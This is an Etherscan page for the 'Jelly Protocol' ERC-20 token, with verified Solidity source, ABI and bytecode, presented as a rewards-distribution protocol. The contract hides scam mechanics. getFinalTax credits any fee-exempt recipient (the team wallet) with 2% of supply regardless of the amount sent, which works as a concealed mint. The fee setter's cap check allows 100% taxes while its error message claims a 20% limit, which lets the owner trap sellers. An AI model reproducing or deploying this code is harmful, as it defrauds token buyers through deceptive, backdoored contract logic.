ETH Price: $2,521.05 (+1.21%)

Token

Jelly Protocol (JELLY)
 

Overview

Max Total Supply

1,000,000,000 JELLY

Holders

142

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 JELLY

Value
$0.00
0x9ec25d8108e35ff5acbc5c005331e00f972726da
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JELLY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT

/*
A protocol for serving up and distributing token rewards. Permissionless Recipes to make your own Airdrops, Staking and Farming programs.

Website: https://www.jellyfi.org
App: https://app.jellyfi.org
Telegram: https://t.me/jelly_erc
Twitter: https://twitter.com/jelly_erc
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
contract JELLY is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Jelly Protocol";
    string private constant _symbol = unicode"JELLY";
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExemptFees;
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    bool private buyenabled = false;
    bool private swapEnabled = true;
    IRouter router;
    address public pair;
    uint256 private numTaxSwaps;
    bool private swapping;
    uint256 taxSwapInterval;
    uint256 private taxSwapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private swapTaxMinimum = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal developmentAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa; 
    address internal teamAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa;
    address internal lpAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa;
    uint256 public mTxSize = ( _totalSupply * 200 ) / 10000;
    uint256 public mSellSz = ( _totalSupply * 200 ) / 10000;
    uint256 public mHold = ( _totalSupply * 200 ) / 10000;
    uint256 private totalFee = 1400;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 1400;
    uint256 private denominator = 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isExemptFees[lpAddr] = true;
        isExemptFees[teamAddr] = true;
        isExemptFees[developmentAddr] = true;
        isExemptFees[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function startTrading() external onlyOwner {buyenabled = true;}
    function getFinalTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExemptFees[recipient]) {return mTxSize;}
        if(getTaxFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTaxFees(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTaxFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function swapBackCheck(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= swapTaxMinimum;
        bool aboveThreshold = balanceOf(address(this)) >= taxSwapThreshold;
        return !swapping && swapEnabled && buyenabled && aboveMin && !isExemptFees[sender] && recipient == pair && numTaxSwaps >= taxSwapInterval && aboveThreshold;
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }
    function getTaxFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExemptFees[sender] && !isExemptFees[recipient]){require(buyenabled, "buyenabled");}
        if(!isExemptFees[sender] && !isExemptFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= mHold, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= mSellSz || isExemptFees[sender] || isExemptFees[recipient], "TX Limit Exceeded");}
        require(amount <= mTxSize || isExemptFees[sender] || isExemptFees[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExemptFees[sender]){numTaxSwaps += uint256(1);}
        if(swapBackCheck(sender, recipient, amount)){doSwapBack(taxSwapThreshold); numTaxSwaps = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExemptFees[sender] ? getFinalTax(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        mTxSize = newTx; mSellSz = newTransfer; mHold = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddr,
            block.timestamp);
    }
    function swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function doSwapBack(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensToETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(teamAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(developmentAddr).transfer(contractBalance);}
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExemptFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mSellSz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004ce565b6200002290633b9aca00620004e6565b60048190556005805461ffff1916610100179055620186a09062000049906103e8620004e6565b62000055919062000500565b600a55620186a0600454600a6200006d9190620004e6565b62000079919062000500565b600b556000600c819055600d8190556064600e55600f55601080547393e5ae085b68a6621c474ff019a9786d1bc98cfa6001600160a01b031991821681179092556011805482168317905560128054909116909117905560045461271090620000e49060c8620004e6565b620000f0919062000500565b60135561271060045460c8620001079190620004e6565b62000113919062000500565b60145561271060045460c86200012a9190620004e6565b62000136919062000500565b6015556105786016556109c46017556105786018556127106019553480156200015e57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000523565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000260919062000523565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d4919062000523565b6005805462010000600160b01b031916620100006001600160a01b038681169190910291909117909155600680546001600160a01b03191683831617905560125481166000908152600360209081526040808320805460ff1990811660019081179092556011548616855282852080548216831790556010549095168452818420805486168217905533808552828520805490961682179095556004549083528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200054e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000410578160001904821115620003f457620003f4620003b9565b808516156200040257918102915b93841c9390800290620003d4565b509250929050565b6000826200042957506001620004c8565b816200043857506000620004c8565b81600181146200045157600281146200045c576200047c565b6001915050620004c8565b60ff841115620004705762000470620003b9565b50506001821b620004c8565b5060208310610133831016604e8410600b8410161715620004a1575081810a620004c8565b620004ad8383620003cf565b8060001904821115620004c457620004c4620003b9565b0290505b92915050565b6000620004df60ff84168362000418565b9392505050565b8082028115828204841417620004c857620004c8620003b9565b6000826200051e57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200053657600080fd5b81516001600160a01b0381168114620004df57600080fd5b6118d2806200055e6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461036b578063cb7f97d71461038b578063dd62ed3e146103ab578063e161bd1e146103f1578063f2fde38b14610407578063fcc78ef11461042757600080fd5b8063715018a6146102b6578063893d20e8146102cb57806395d89b41146102fd5780639cc353511461032b578063a8aa1b311461034b57600080fd5b8063293230b8116100f2578063293230b8146102085780632f54bf6e1461021f578063313ce5671461024e57806357b074e11461026a57806370a082311461028057600080fd5b806305a1d4351461013a57806306fdde0314610163578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060145481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201909152600e81526d12995b1b1e48141c9bdd1bd8dbdb60921b60208201525b60405161015a919061156c565b3480156101af57600080fd5b506101c36101be3660046115d2565b610457565b604051901515815260200161015a565b3480156101df57600080fd5b5061015061046e565b3480156101f457600080fd5b506101c36102033660046115fe565b6104df565b34801561021457600080fd5b5061021d610549565b005b34801561022b57600080fd5b506101c361023a36600461163f565b6000546001600160a01b0391821691161490565b34801561025a57600080fd5b506040516009815260200161015a565b34801561027657600080fd5b5061015060135481565b34801561028c57600080fd5b5061015061029b36600461163f565b6001600160a01b031660009081526001602052604090205490565b3480156102c257600080fd5b5061021d61058b565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561030957600080fd5b506040805180820190915260058152644a454c4c5960d81b6020820152610196565b34801561033757600080fd5b5061021d61034636600461165c565b6105fa565b34801561035757600080fd5b506006546102e5906001600160a01b031681565b34801561037757600080fd5b506101c36103863660046115d2565b61073b565b34801561039757600080fd5b5061021d6103a6366004611688565b610748565b3480156103b757600080fd5b506101506103c63660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b5061015060155481565b34801561041357600080fd5b5061021d61042236600461163f565b61083f565b34801561043357600080fd5b506101c361044236600461163f565b60036020526000908152604090205460ff1681565b60006104643384846108bd565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104da9290916104d491906109e1565b906109e1565b905090565b60006104ec8484846109ed565b61053e843361053985604051806060016040528060288152602001611875602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f34565b6108bd565b5060015b9392505050565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105739061170d565b60405180910390fd5b6005805460ff19166001179055565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016105739061170d565b600061064761271061064186600454610f6090919063ffffffff16565b90610f6c565b9050600061066661271061064186600454610f6090919063ffffffff16565b9050600061068561271061064186600454610f6090919063ffffffff16565b601384905560148390556015819055905060006106b16103e861064160056106ab61046e565b90610f60565b90508084101580156106c35750808310155b80156106cf5750808210155b6107325760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610573565b50505050505050565b60006104643384846109ed565b6000546001600160a01b031633146107725760405162461bcd60e51b81526004016105739061170d565b600c879055600d869055600f859055600e8490556016839055601782905560188190556019546107a3906001610f6c565b601654111580156107c357506019546107bd906001610f6c565b60175411155b80156107de57506019546107d8906001610f6c565b60185411155b6107325760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610573565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661091f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105428284611743565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b6001600160a01b038316600090815260016020526040902054811115610b355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7757506001600160a01b03821660009081526003602052604090205460ff16155b15610bbb5760055460ff16610bbb5760405162461bcd60e51b815260206004820152600a602482015269189d5e595b98589b195960b21b6044820152606401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610bfd57506001600160a01b03821660009081526003602052604090205460ff16155b8015610c1757506006546001600160a01b03838116911614155b8015610c2e57506001600160a01b03821661dead14155b15610ca7576015546001600160a01b038316600090815260016020526040902054610c599083610f78565b1115610ca75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610573565b6006546001600160a01b03848116911614610d485760145481111580610ce557506001600160a01b03831660009081526003602052604090205460ff165b80610d0857506001600160a01b03821660009081526003602052604090205460ff165b610d485760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b60135481111580610d7157506001600160a01b03831660009081526003602052604090205460ff165b80610d9457506001600160a01b03821660009081526003602052604090205460ff165b610dd45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b6006546001600160a01b038381169116148015610e0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e2857600160076000828254610e229190611756565b90915550505b610e33838383610f84565b15610e4957610e43600a54611035565b60006007555b6001600160a01b038316600090815260016020526040902054610e6c90826109e1565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610ea15781610eac565b610eac8484846111b2565b6001600160a01b038416600090815260016020526040902054909150610ed29082610f78565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269085815260200190565b60405180910390a350505050565b60008184841115610f585760405162461bcd60e51b8152600401610573919061156c565b505050900390565b60006105428284611769565b60006105428284611780565b60006105428284611756565b600b54600a543060009081526001602052604081205460085491938510159211159060ff16158015610fbd5750600554610100900460ff165b8015610fcb575060055460ff165b8015610fd45750815b8015610ff957506001600160a01b03861660009081526003602052604090205460ff16155b801561101257506006546001600160a01b038681169116145b8015611022575060095460075410155b801561102b5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361106f936002936106ab939192611069928391610f78565b90610f78565b9050600061108c82610641600c5486610f6090919063ffffffff16565b9050600061109a84836109e1565b9050476110a6826112e2565b60006110b247836109e1565b905060006110d56110ce600c54886109e190919063ffffffff16565b8390610f6c565b905060006110ee600c5483610f6090919063ffffffff16565b90508015611100576111008682611461565b600d54600090611115906106ab856002610f60565b90508015611159576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611157573d6000803e3d6000fd5b505b47801561119c576010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561119a573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111dc5750601354610542565b60006111e88585611521565b11156112db57600061120b6111fd8686611521565b6019546106ab908690610f6c565b306000908152600160205260409020549091506112289082610f78565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112799085815260200190565b60405180910390a36000600f5411801561129d5750600f5461129b8686611521565b115b156112c9576112c93061dead6112c4600f546106ab60195489610f6c90919063ffffffff16565b6109ed565b6112d383826109e1565b915050610542565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611317576113176117a2565b60200260200101906001600160a01b031690816001600160a01b031681525050600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906117b8565b816001815181106113c1576113c16117a2565b6001600160a01b0392831660209182029290920101526005546113ed91309162010000900416846108bd565b60055460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac9479061142b9085906000908690309042906004016117d5565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b505050505050565b60055461147f9030906201000090046001600160a01b0316846108bd565b60055460125460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015262010000909204169063f305d71990839060c40160606040518083038185885af11580156114f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151a9190611846565b5050505050565b6006546000906001600160a01b03908116908316036115435750601754610468565b6006546001600160a01b03908116908416036115625750601654610468565b5060185492915050565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cf57600080fd5b50565b600080604083850312156115e557600080fd5b82356115f0816115ba565b946020939093013593505050565b60008060006060848603121561161357600080fd5b833561161e816115ba565b9250602084013561162e816115ba565b929592945050506040919091013590565b60006020828403121561165157600080fd5b8135610542816115ba565b60008060006060848603121561167157600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a0312156116a357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116e757600080fd5b82356116f2816115ba565b91506020830135611702816115ba565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104685761046861172d565b808201808211156104685761046861172d565b80820281158282048414176104685761046861172d565b60008261179d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ca57600080fd5b8151610542816115ba565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118255784516001600160a01b031683529383019391830191600101611800565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d36335564736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461036b578063cb7f97d71461038b578063dd62ed3e146103ab578063e161bd1e146103f1578063f2fde38b14610407578063fcc78ef11461042757600080fd5b8063715018a6146102b6578063893d20e8146102cb57806395d89b41146102fd5780639cc353511461032b578063a8aa1b311461034b57600080fd5b8063293230b8116100f2578063293230b8146102085780632f54bf6e1461021f578063313ce5671461024e57806357b074e11461026a57806370a082311461028057600080fd5b806305a1d4351461013a57806306fdde0314610163578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060145481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201909152600e81526d12995b1b1e48141c9bdd1bd8dbdb60921b60208201525b60405161015a919061156c565b3480156101af57600080fd5b506101c36101be3660046115d2565b610457565b604051901515815260200161015a565b3480156101df57600080fd5b5061015061046e565b3480156101f457600080fd5b506101c36102033660046115fe565b6104df565b34801561021457600080fd5b5061021d610549565b005b34801561022b57600080fd5b506101c361023a36600461163f565b6000546001600160a01b0391821691161490565b34801561025a576000